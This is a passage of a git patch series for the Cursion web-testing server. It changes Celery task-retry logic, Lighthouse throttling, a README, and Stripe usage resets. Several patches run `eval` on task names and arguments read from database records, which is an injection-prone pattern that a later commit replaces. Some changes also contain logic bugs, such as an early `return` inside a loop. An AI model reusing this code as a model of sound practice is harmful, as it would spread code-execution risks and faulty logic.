-            tasks[i]['attempts']   += int(max_attempts_reached)
-            exists                 = True
+            tasks[i]['task_id']     = str(task_id)
+            tasks[i]['attempts']    += 1
+            max_atttempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
+            exists                  = True
         i += 1
 
     # append new task data
@@ -73,10 +73,4 @@ def record_task(
     resource.save()
 
     # return
-    return max_attempts_reached
-
-
-
-
-
-
+    return max_atttempts_reached
\ No newline at end of file

From ce7b41b95385101832bb0729bc21569361ae587c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 15:35:04 -0600
Subject: [PATCH 0943/1099] update: added conditional incrementation

---
 app/api/utils/manager.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index a9c2ad50..6625566e 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -13,7 +13,6 @@ def record_task(
         task_method: str=None, 
         **kwargs,
     ) -> bool:
-
     """ 
     Records task information in the `resource.system` 
     attribute.
@@ -30,7 +29,7 @@ def record_task(
     """
 
     # set default 
-    max_atttempts_reached = False
+    max_attempts_reached = False
 
     # get resource 
     if resource_type == 'scan':
@@ -52,10 +51,11 @@ def record_task(
     for task in tasks:
         if task['component'] == component:
             # update existing task
-            tasks[i]['task_id']     = str(task_id)
-            tasks[i]['attempts']    += 1
-            max_atttempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
-            exists                  = True
+            max_attempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
+            tasks[i]['task_id']    = str(task_id)
+            tasks[i]['attempts']   += 1 if not max_attempts_reached else tasks[i]['attempts']
+            tasks[i]['kwargs']     = kwargs.get('kwargs')
+            exists                 = True
         i += 1
 
     # append new task data
@@ -73,4 +73,4 @@ def record_task(
     resource.save()
 
     # return
-    return max_atttempts_reached
\ No newline at end of file
+    return max_attempts_reached
\ No newline at end of file

From b2bf0e5bdfa76175737f386d3ef530025f15375b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 15:35:42 -0600
Subject: [PATCH 0944/1099] update: added new edge case handling

---
 app/api/tasks.py | 171 ++++++++++++++++++++++++++++++-----------------
 1 file changed, 111 insertions(+), 60 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 61d9c291..ea217337 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -56,7 +56,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=300):
+def task_lock(lock_name, timeout=10000):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     print(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
@@ -213,19 +213,26 @@ def redeliver_failed_tasks() -> None:
     scans = Scan.objects.filter(time_completed=None)
     tests = Test.objects.filter(time_completed=None)
 
-    # get executing_tasks
+    # inspect Celery workers
     i = celery.app.control.inspect()
-    reserved = i.reserved()
-    active = i.active()
+
+    # fetch active and reserved tasks
+    reserved = i.reserved() or {}
+    active = i.active() or {}
     executing_tasks = []
-    for replica in reserved:
-        for task in reserved[replica]:
+
+    # gather task IDs from reserved queue
+    for replica, tasks in reserved.items():
+        for task in tasks:
             executing_tasks.append(task['id'])
-    for replica in active:
-        for task in active[replica]:
+
+    # gather task IDs from active tasks
+    for replica, tasks in active.items():
+        for task in tasks:
             executing_tasks.append(task['id'])
 
-    # iterate through each scan and re-run any failed jobs
+    # iterate through each scan and re-run 
+    # any failed, non-pending jobs
     for scan in scans:
 
         # check for localization
@@ -233,14 +240,19 @@ def redeliver_failed_tasks() -> None:
             continue
 
         # check each task in system['tasks']
-        task_count  = 0
-        test_id     = None
-        alert_id    = None
-        flowrun_id  = None
-        node_index  = None
-        components  = []
+        retried_tasks   = 0
+        pending_tasks   = 0 
+        running_tasks   = 0 
+        test_id         = None
+        alert_id        = None
+        flowrun_id      = None
+        node_index      = None
+        components      = []
         for task in scan.system.get('tasks', []):
 
+            # get task_id
+            task_id = task.get('task_id')
+
             # get scan.{component} data
             if task['component'] == 'yellowlab':
                 component = scan.yellowlab.get('audits', None)
@@ -255,44 +267,35 @@ def redeliver_failed_tasks() -> None:
             components.append(task['component'])
 
             # try to get args
-            test_id     = task['kwargs'].get('test_id')
-            alert_id    = task['kwargs'].get('alert_id')
-            flowrun_id  = task['kwargs'].get('flowrun_id')
-            node_index  = task['kwargs'].get('node_index')
+            test_id     = task['kwargs'].get('test_id')     or test_id
+            alert_id    = task['kwargs'].get('alert_id')    or alert_id
+            flowrun_id  = task['kwargs'].get('flowrun_id')  or flowrun_id
+            node_index  = task['kwargs'].get('node_index')  or node_index 
             
-            # re-run task if not in executing_tasks &
-            # scan.{component} is None
-            if task['task_id'] not in executing_tasks and component is None:
+            # re-run task if task is not "running", "pending", 
+            # or reached "max_attempts".
+            if component is None:
+
+                # check if task is "running" (has task_id in queue)
+                if task_id in executing_tasks:
+                    running_tasks += 1
+
+                # check if task is "pending" (in queue with no task_id yet)
+                elif task_id == None:
+                    pending_tasks += 1
                 
                 # check for max attempts
-                if task['attempts'] < settings.MAX_ATTEMPTS:
+                elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
                     print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
                     eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
-                    task_count += 1
+                    retried_tasks += 1
 
         # try to get test_id
         if not test_id and Test.objects.filter(post_scan=scan, time_completed=None).exists():
             test_id = Test.objects.filter(post_scan=scan, time_completed=None)[0].id
-
-        # check for requested, and not recorded, components:
-        for comp in scan.type:
-            if comp not in components and comp != 'logs':
-                # building args
-                task = f"run_{comp.replace('html', 'html_and_logs')}_bg"
-                kwargs = {
-                    "scan_id": str(scan.id),
-                    "test_id": str(test_id),
-                    "alert_id": alert_id,
-                    "flowrun_id": flowrun_id,
-                    "node_index": node_index
-                }
-                # run task
-                print(f'running -> {task}.delay(**{kwargs})')
-                eval(f'{task}.delay(**{kwargs})')
-                task_count += 1
         
-        # mark scan complete if no tasks were re-run
-        if task_count == 0 and len(scan.system.get('tasks', [])) > 0:
+        # mark scan complete if checks pass
+        if retried_tasks == 0 and pending_tasks == 0 and running_tasks == 0:
             print(f'marking scan as complete')
             scan.time_completed = datetime.now()
             scan.save()
@@ -315,25 +318,30 @@ def redeliver_failed_tasks() -> None:
             continue
 
         # check each task in system['tasks']
-        task_count = 0
+        retried_tasks = 0
+        running_tasks = 0
+        pending_tasks = 0
         for task in test.system.get('tasks', []):
-            
-            # re-run task if not in executing_tasks
-            if task['task_id'] not in executing_tasks:
 
-                # check for post_scan completion
-                if not test.post_scan.time_completed:
-                    print('post_scan not complete skipping test re-run...')
-                    continue
-                
-                # check for max attempts
-                if task['attempts'] < settings.MAX_ATTEMPTS:
-                    print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
-                    eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
-                    task_count += 1
+            # define task_id
+            task_id = task.get('task_id')
+
+            # check if task is "running" (has task_id in queue)
+            if task_id in executing_tasks:
+                running_tasks += 1
+
+            # check if task is "pending" (in queue with no task_id yet)
+            elif task_id == None:
+                pending_tasks += 1
+            
+            # check for max attempts
+            elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
+                print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
+                eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+                retried_tasks += 1
         
-        # mark test complete if no tasks were re-run
-        if task_count == 0 and len(test.system.get('tasks', [])) > 0:
+        # mark test complete if checks pass
+        if retried_tasks == 0 and pending_tasks == 0 and running_tasks == 0:
             test.time_completed = datetime.now()
             test.save()
 
@@ -913,6 +921,20 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             # check resource 
             if check_and_increment_resource(page.account.id, 'scans'):
 
+                # create system data for new Scan
+                scan_system = {
+                    "tasks": [
+                        {
+                            "kwargs": {},
+                            "task_id": None,
+                            "attempts": 0,
+                            "component": t,
+                            "task_method": "run_html_and_logs_bg" if t == 'html' else f"run_{t}_bg"
+                        }
+                        for t in type if t != 'logs'
+                    ]
+                }
+
                 # create Scan obj
                 scan = Scan.objects.create(
                     site=page.site,
@@ -920,6 +942,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     type=type,
                     tags=tags,
                     configs=configs,
+                    system=scan_system
                 )
 
                 # updating latest_scan info for page
@@ -1437,6 +1460,31 @@ def create_test(
         'status': 'working'
     })
 
+    # create system data for new Scan & Test (may not be used)
+    scan_system = {
+        "tasks": [
+            {
+                "kwargs": {},
+                "task_id": None,
+                "attempts": 0,
+                "component": t,
+                "task_method": "run_html_and_logs_bg" if t == 'html' else f"run_{t}_bg"
+            }
+            for t in type if t != 'logs'
+        ]
+    }
+    test_system = {
+        "tasks": [
+            {
+                "kwargs": {}, 
+                "task_id": None, 
+                "attempts": 0, 
+                "component": "test", 
+                "task_method": "run_test"
+            }
+        ]
+    }
+
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -1454,6 +1502,7 @@ def create_test(
                     tags=tags, 
                     type=type,
                     configs=configs,
+                    system=scan_system
                 )
                 scan_page_bg.delay(
                     scan_id=new_scan.id,
@@ -1509,7 +1558,7 @@ def create_test(
             # return None
             logger.info('no more scans usage available')
             return None
-        
+
         # create new post_scan
         post_scan = Scan.objects.create(
             site=page.site,
@@ -1517,6 +1566,7 @@ def create_test(
             tags=tags, 
             type=type,
             configs=configs,
+            system=scan_system
         )
 
         # run Scan & Test tasks 
@@ -1550,6 +1600,7 @@ def create_test(
     created_test.type = type
     created_test.pre_scan = pre_scan
     created_test.post_scan = post_scan
+    created_test.system = test_system
     created_test.save()
 
     # check if pre and post scan are complete and start test if True

From 4bde86e5ac937529e786479d8602e8a70c3720f5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 15:36:19 -0600
Subject: [PATCH 0945/1099] update: added configs for better PageSpeed
 emulation

---
 app/api/utils/lighthouse.py | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 2c15e44a..3f71341a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -24,8 +24,11 @@ def __init__(self, scan=None):
         self.page = self.scan.page
         self.configs = scan.configs
         self.sizes = scan.configs['window_size'].split(',')
-        self.cpu_slowdown = 30
+        self.cpu_slowdown = 4
         self.scale_factor = 2
+        self.download_speed = 1600
+        self.upload_speed = 768
+        self.rttMs = 150
         self.audits_url = ''
         self.device = get_device(
             scan.configs['browser'], 
@@ -101,6 +104,17 @@ def lighthouse_cli(self):
         Returns --> raw LH data (Dict)
         """
 
+        # warm up the page by curl'ing site
+        try:
+            subprocess.run(
+                ['curl', '-sS', '--max-time', '5', self.page.page_url],
+                stdout=subprocess.DEVNULL,
+                stderr=subprocess.DEVNULL,
+                check=True
+            )
+        except subprocess.CalledProcessError:
+            pass
+
         # initiating subprocess for LH CLI
         proc = subprocess.Popen([
                 'lighthouse', 
@@ -116,6 +130,10 @@ def lighthouse_cli(self):
                 f'--screenEmulation.mobile={self.is_mobile}',
                 f'--emulatedUserAgent={self.device["user_agent"]}',
                 f'--throttling.cpuSlowdownMultiplier={self.cpu_slowdown}',
+                f'--throttling.downloadThroughputKbps={self.download_speed}',
+                f'--throttling.uploadThroughputKbps={self.upload_speed}',
+                f'--throttling.rttMs={self.rttMs}',
+                f'--throttling-method=simulate',
                 '--output',
                 'json',
             ], 

From 786e4589b11e37744e671f115b643147281b1ef3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 15:36:53 -0600
Subject: [PATCH 0946/1099] update: disabled `server_side_cursors` for DB

---
 app/cursion/settings.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index b2e6b750..4e2bb8a7 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -106,7 +106,8 @@
         'NAME': os.environ.get('DB_NAME'),
         'USER': os.environ.get('DB_USER'),
         'PASSWORD': os.environ.get('DB_PASS'),
-        'PORT': os.environ.get('DB_PORT')
+        'PORT': os.environ.get('DB_PORT'),
+        'OPTIONS': {'server_side_cursors': False}
     }
 }
 

From 5479a14095cf80f0a3be37da0a07260e38672238 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 16:07:59 -0600
Subject: [PATCH 0947/1099] fix: changed TestAdmin to avoid server-side cursors

---
 app/api/admin.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/admin.py b/app/api/admin.py
index c08e833e..9dd8a7cf 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -122,6 +122,16 @@ class TestAdmin(admin.ModelAdmin):
     search_fields = ('page__page_url',)
     actions = ['delete_tests',]
 
+    def change_view(self, request, object_id, form_url='', extra_context=None):
+        # Avoid streaming cursors by evaluating related objects early
+        obj = self.get_object(request, object_id)
+        if obj is not None:
+            # Force evaluation of any heavy reverse relationships
+            _ = obj.pre_scan
+            _ = obj.post_scan
+
+        return super().change_view(request, object_id, form_url, extra_context)
+
     def delete_tests(self, request, queryset):
         for test in queryset:
             delete_test(

From 9f7716b083366d1833e7ec82b1824b96bcd9de11 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 16:08:21 -0600
Subject: [PATCH 0948/1099] fix: removed OPTIONS from DB

---
 app/cursion/settings.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 4e2bb8a7..b2e6b750 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -106,8 +106,7 @@
         'NAME': os.environ.get('DB_NAME'),
         'USER': os.environ.get('DB_USER'),
         'PASSWORD': os.environ.get('DB_PASS'),
-        'PORT': os.environ.get('DB_PORT'),
-        'OPTIONS': {'server_side_cursors': False}
+        'PORT': os.environ.get('DB_PORT')
     }
 }
 

From 3f747d107b41e977a1a9d5fe2faaf147cd21fd26 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 20:38:48 -0600
Subject: [PATCH 0949/1099] update: new features & links

---
 README.md | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 733e5f00..b7e14261 100644
--- a/README.md
+++ b/README.md
@@ -16,7 +16,9 @@
     <a href="LICENSE.md" target="_blank">
       <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge'/>
     </a>
-    <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>
+    <a href="https://github.com/cursion-dev/server/graphs/commit-activity" target="_blank"> 
+      <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>
+    </a>
     <a href='https://github.com/cursion-dev/server/actions'>
      <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=build%20status"/>
     </a>
@@ -58,12 +60,14 @@ API-first, open-source, and beginner friendly. Cursion is built for the busy dev
 
 
 # 🛒 What's Included
-- [x] Advanced Visual Regression Testing
+- [x] Advanced, 3-Step Visual Regression Testing
 - [x] Page Source Regression Testing   
 - [x] [Lighthouse](https://github.com/GoogleChrome/lighthouse) Performance Testing
 - [x] [YellowLab](https://github.com/YellowLabTools/YellowLabTools) Performance Testing
 - [x] Selenium-based Functional Testing
+- [x] Functional Test Genmerator
 - [x] A.I. Generated Issues (via OpenAI)
+- [x] A.I. VRT Analysis & Review (via OpenAI)
 
 <br>
 <br>

From cfb7426da463ee6887541be92cff3f896b214be2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 May 2025 20:41:35 -0600
Subject: [PATCH 0950/1099] fix: removed auto-underline

---
 README.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index b7e14261..03be226f 100644
--- a/README.md
+++ b/README.md
@@ -13,13 +13,13 @@
 </h1>
 
 <p align="center">
-    <a href="LICENSE.md" target="_blank">
+    <a href="LICENSE.md" target="_blank" style="text-decoration: none">
       <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge'/>
     </a>
-    <a href="https://github.com/cursion-dev/server/graphs/commit-activity" target="_blank"> 
+    <a href="https://github.com/cursion-dev/server/graphs/commit-activity" target="_blank" style="text-decoration: none"> 
       <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>
     </a>
-    <a href='https://github.com/cursion-dev/server/actions'>
+    <a href="https://github.com/cursion-dev/server/actions" style="text-decoration: none">
      <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=build%20status"/>
     </a>
 </p>

From 27f568448a67a76ab778580c039ae8b28fd365a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 May 2025 11:00:59 -0600
Subject: [PATCH 0951/1099] fix: added edge-case handling for account reset

---
 app/api/tasks.py | 123 ++++++++++++++++++++---------------------------
 1 file changed, 52 insertions(+), 71 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ea217337..a9c5eb1d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2855,91 +2855,72 @@ def reset_account_usage(account_id: str=None) -> None:
     Returns: None
     """
 
-    # init Stripe client
+    # set defaults
     stripe.api_key = settings.STRIPE_PRIVATE
+    today = datetime.utcnow()
 
-    # check for account_id
-    if account_id is not None:
+    # get accounts
+    if account_id:
         accounts = [Account.objects.get(id=account_id)]
     else:
-        # get all active accounts
         accounts = Account.objects.filter(active=True)
 
-    # get current date
-    today = datetime.today()
-    today_str = today.strftime('%Y-%m-%d')
-    print(f'today -> {today_str}')
-
-    # setting format for today
-    f = '%Y-%m-%d %H:%M:%S.%f'
-
-    # reset account.usage
-    def reset_usage(account) -> None:
-        
-        # update usage
-        account.usage['scans'] = 0
-        account.usage['tests'] = 0
-        account.usage['caseruns'] = 0
-        account.usage['flowruns'] = 0
-
-        # update meta
-        meta = account.meta
-        meta['last_usage_reset'] = today.strftime(f)
-        account.meta = meta
+    # helper reset method
+    def reset_usage(account):
+        account.usage.update({
+            'scans': 0,
+            'tests': 0,
+            'caseruns': 0,
+            'flowruns': 0
+        })
+        account.meta = account.meta or {}
+        account.meta['last_usage_reset'] = today.isoformat()
         account.save()
+        print(f'Reset usage for account: {account.name}')
 
-        # log action
-        print(f'reset account "{account.name}" usage')
-        return None
-
-    # loop through each
     for account in accounts:
 
-        # check if account is active and not free
-        if account.active and account.type != 'free' and account.sub_id != None:
-                
-            # get stripe sub
-            sub = stripe.Subscription.retrieve(
-                account.sub_id
-            )
-
-            # get and formate sub.current_period_end
-            sub_date = datetime.fromtimestamp(
-                sub.current_period_end
-            ).strftime('%Y-%m-%d')
-            print(f'sub_date -> {sub_date}')
-
-            # reset accout usage if today is 
-            # begining of sub payment peroid
-            # OR if a specific account was requested
-            if today_str == sub_date or account_id is not None:
+        # defaults
+        needs_reset = False
 
-                # reset usage
-                reset_usage(account)
-
-        # check if accout is free
-        if account.type == 'free':
-
-            # get last usage reset date from meta
-            last_usage_date_str = account.meta.get('last_usage_reset') if account.meta else None
-            if last_usage_date_str is not None:
-                
-                # clean date_str
-                last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
-
-                # format date str as datetime obj
-                last_usage_date = datetime.strptime(last_usage_date_str, f)
+        # skip non active
+        if not account.active:
+            continue
+        
+        # get last reset data
+        last_reset_str = (account.meta or {}).get('last_usage_reset')
+        last_reset = None
 
-                print(f'days since last reset -> {abs((today - last_usage_date).days)}')
+        # format last reset date
+        try:
+            last_reset = datetime.fromisoformat(last_reset_str.replace("Z", ""))
+        except ValueError:
+            pass
+        
+        # check stripe sub if paying account
+        if account.type != 'free' and account.sub_id:
+            try:
+                sub = stripe.Subscription.retrieve(account.sub_id)
+                sub_reset_date = datetime.fromtimestamp(sub.current_period_start)
+                if (today - sub_reset_date).days >= 30 or today.date() == sub_reset_date.date():
+                    needs_reset = True
+            except stripe.error.StripeError as e:
+                print(f"Stripe error for account {account.id}: {e}")
+
+        # reset free account
+        elif account.type == 'free':
+            if not last_reset or (today - last_reset).days >= 30:
+                needs_reset = True
+
+        # reset passed account_id
+        if account_id:
+            needs_reset = True
 
-                # check if over 30 days
-                if abs((today - last_usage_date).days) >= 30:
-                    
-                    # reset usage
-                    reset_usage(account)
+        # trigger reset
+        if needs_reset:
+            reset_usage(account)
 
-            
-    return None
+        return None
 
 
 

From 5eba77a77375862de26e79ee80f708803bbbc896 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 May 2025 22:26:05 -0600
Subject: [PATCH 0952/1099] update: increased task visibility for retry logic

---
 app/api/tasks.py           | 307 +++++++++++++++++++++----------------
 app/api/v1/ops/services.py |  20 ++-
 2 files changed, 194 insertions(+), 133 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a9c5eb1d..76ab01ef 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -25,6 +25,7 @@
 from datetime import datetime, timedelta, timezone
 from redis import Redis
 from contextlib import contextmanager
+from kombu.utils.encoding import bytes_to_str
 from cursion import settings
 import asyncio, boto3, time, requests, \
 json, stripe, inspect, random, secrets
@@ -59,13 +60,13 @@ class BaseTaskWithRetry(Task):
 def task_lock(lock_name, timeout=10000):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
-    print(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
+    logger.info(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
     try:
         yield acquired
     finally:
         if acquired:
             lock.release()
-            print(f"Lock released for {lock_name}")
+            logger.info(f"Lock released for {lock_name}")
 
 
 
@@ -188,12 +189,69 @@ def update_schedule(task_id: str=None) -> None:
                 time_last_run=last_run
             )
         except Exception as e:
-            print(e)
+            logger.info(e)
     return None
 
 
 
 
+def add_scan_system_data(scan: object=None) -> dict:
+    """
+    Helper function to build system for passed `Scan`.
+
+    Expects: {
+        'scan': obj
+    }
+
+    Returns: `Scan`
+    """
+
+    # build system data
+    system = {
+        "tasks": [
+            {
+                "kwargs": {},
+                "task_id": f"lock:html_and_logs_bg_{scan.id}" if t == 'html' else f"lock:{t}_bg_{scan.id}",
+                "attempts": 0,
+                "component": t,
+                "task_method": "run_html_and_logs_bg" if t == 'html' else f"run_{t}_bg"
+            }
+            for t in scan.type if t != 'logs'
+        ]
+    }
+
+    # save to scan
+    scan.system = system
+    scan.save()
+    return scan
+
+
+
+
+def call_local_task_by_name(
+        task_name   : str=None, 
+        kwargs      : dict={}, 
+        task_id     : str=None
+    ) -> None:
+    """ 
+    Helper method to dynamically re-execute local tasks.
+
+    Expects: {
+        'task_name' : str,
+        'kwargs'    : dict,
+        'task_id'   : str
+    }
+
+    Returns `task_name.apply_async(...)`
+    """
+
+    task_func = globals()[task_name]
+    print(f'calling -> task_func.apply_async(kwargs={kwargs}, task_id={task_id})')
+    return task_func.apply_async(kwargs=kwargs, task_id=task_id)
+
+
+
+
 @shared_task()
 def redeliver_failed_tasks() -> None:
     """ 
@@ -211,25 +269,34 @@ def redeliver_failed_tasks() -> None:
 
     # get uncompleted Scans & Tests
     scans = Scan.objects.filter(time_completed=None)
-    tests = Test.objects.filter(time_completed=None)
+    tests = Test.objects.filter(time_completed=None).exclude(post_scan__time_completed=None)
 
     # inspect Celery workers
     i = celery.app.control.inspect()
 
-    # fetch active and reserved tasks
-    reserved = i.reserved() or {}
-    active = i.active() or {}
-    executing_tasks = []
+    # fetch active, reserved, & queues tasks
+    reserved    = i.reserved() or {}
+    active      = i.active() or {}
+    queued      = redis_client.lrange('celery', 0, -1)
+    all_tasks   = []
 
     # gather task IDs from reserved queue
     for replica, tasks in reserved.items():
         for task in tasks:
-            executing_tasks.append(task['id'])
+            all_tasks.append(task['id'])
 
     # gather task IDs from active tasks
     for replica, tasks in active.items():
         for task in tasks:
-            executing_tasks.append(task['id'])
+            all_tasks.append(task['id'])
+
+    # gather redis_ids from queued tasks
+    for item in queued:
+        try:
+            decoded = json.loads(bytes_to_str(item))
+            all_tasks.append(decoded['headers']['id'])
+        except Exception as e:
+            print(f"Failed to decode task: {e}")
 
     # iterate through each scan and re-run 
     # any failed, non-pending jobs
@@ -242,7 +309,6 @@ def redeliver_failed_tasks() -> None:
         # check each task in system['tasks']
         retried_tasks   = 0
         pending_tasks   = 0 
-        running_tasks   = 0 
         test_id         = None
         alert_id        = None
         flowrun_id      = None
@@ -276,18 +342,14 @@ def redeliver_failed_tasks() -> None:
             # or reached "max_attempts".
             if component is None:
 
-                # check if task is "running" (has task_id in queue)
-                if task_id in executing_tasks:
-                    running_tasks += 1
-
-                # check if task is "pending" (in queue with no task_id yet)
-                elif task_id == None:
+                # check if task is "pending" (has task_id in queue)
+                if task_id in all_tasks:
                     pending_tasks += 1
-                
+
                 # check for max attempts
                 elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
-                    print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
-                    eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+                    task_id = f'lock:{task["task_method"].replace('run_','')}_{scan.id}'
+                    call_local_task_by_name(task["task_method"], task["kwargs"], task_id)
                     retried_tasks += 1
 
         # try to get test_id
@@ -295,14 +357,14 @@ def redeliver_failed_tasks() -> None:
             test_id = Test.objects.filter(post_scan=scan, time_completed=None)[0].id
         
         # mark scan complete if checks pass
-        if retried_tasks == 0 and pending_tasks == 0 and running_tasks == 0:
-            print(f'marking scan as complete')
+        if retried_tasks == 0 and pending_tasks == 0:
+            logger.info(f'marking scan as complete')
             scan.time_completed = datetime.now()
             scan.save()
 
             # execute `run_test()` if test_id present
             if test_id:
-                print(f'executing run_test() from `post_scan` in `retry_tasks`')
+                logger.info(f'executing run_test() from `post_scan` in `retry_tasks`')
                 run_test.delay(
                     test_id=str(test_id),
                     alert_id=alert_id,
@@ -314,34 +376,29 @@ def redeliver_failed_tasks() -> None:
     for test in tests:
 
         # check for localization
-        if settings.LOCATION != 'us':
+        if test.post_scan.configs.get('location', 'us') != settings.LOCATION:
             continue
 
         # check each task in system['tasks']
         retried_tasks = 0
-        running_tasks = 0
         pending_tasks = 0
         for task in test.system.get('tasks', []):
 
             # define task_id
             task_id = task.get('task_id')
 
-            # check if task is "running" (has task_id in queue)
-            if task_id in executing_tasks:
-                running_tasks += 1
-
-            # check if task is "pending" (in queue with no task_id yet)
-            elif task_id == None:
+            # check if task is "pending" (has task_id in queue)
+            if task_id in all_tasks:
                 pending_tasks += 1
             
             # check for max attempts
             elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
-                print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
-                eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+                task_id = f'lock:run_test_{test.id}'
+                call_local_task_by_name(task["task_method"], task["kwargs"], task_id)
                 retried_tasks += 1
         
         # mark test complete if checks pass
-        if retried_tasks == 0 and pending_tasks == 0 and running_tasks == 0:
+        if retried_tasks == 0 and pending_tasks == 0:
             test.time_completed = datetime.now()
             test.save()
 
@@ -587,7 +644,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = latest_scan.score
                     page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
                     page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
-                    print(f'updating {page.page_url} with scan.score -> {latest_scan.score}')
+                    logger.info(f'updating {page.page_url} with scan.score -> {latest_scan.score}')
                 if latest_scan is None and (resource == 'scan' or resource == 'all'):
                     page.info['latest_scan']['id'] = None
                     page.info['latest_scan']['time_created'] = None
@@ -595,7 +652,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = None
                     page.info['lighthouse'] = None
                     page.info['yellowlab'] = None
-                    print(f'updating {page.page_url} with scan.score -> {None}')
+                    logger.info(f'updating {page.page_url} with scan.score -> {None}')
 
                 # latest_test info
                 if latest_test:
@@ -604,14 +661,14 @@ def update_site_and_page_info(
                     page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
                     page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
                     page.info['latest_test']['status'] = latest_test.status
-                    print(f'updating {p.page_url} with test.score -> {latest_test.score}')
+                    logger.info(f'updating {p.page_url} with test.score -> {latest_test.score}')
                 if latest_test is None and (resource == 'test' or resource == 'all'):
                     page.info['latest_test']['id'] = None
                     page.info['latest_test']['time_created'] = None
                     page.info['latest_test']['time_completed'] = None
                     page.info['latest_test']['score'] = None
                     page.info['latest_test']['status'] = None
-                    print(f'updating {p.page_url} with test.score -> {None}')
+                    logger.info(f'updating {p.page_url} with test.score -> {None}')
 
                 # save page
                 page.save()
@@ -620,7 +677,7 @@ def update_site_and_page_info(
     if len(scans) > 0:
         # calc site average of latest_scan.score
         site_avg_scan_score = round((sum(scans)/len(scans)) * 100) / 100
-        print(f'updating site with new scan score -> {site_avg_scan_score}')
+        logger.info(f'updating site with new scan score -> {site_avg_scan_score}')
 
     # latest_scan info
     if latest_scan:
@@ -642,7 +699,7 @@ def update_site_and_page_info(
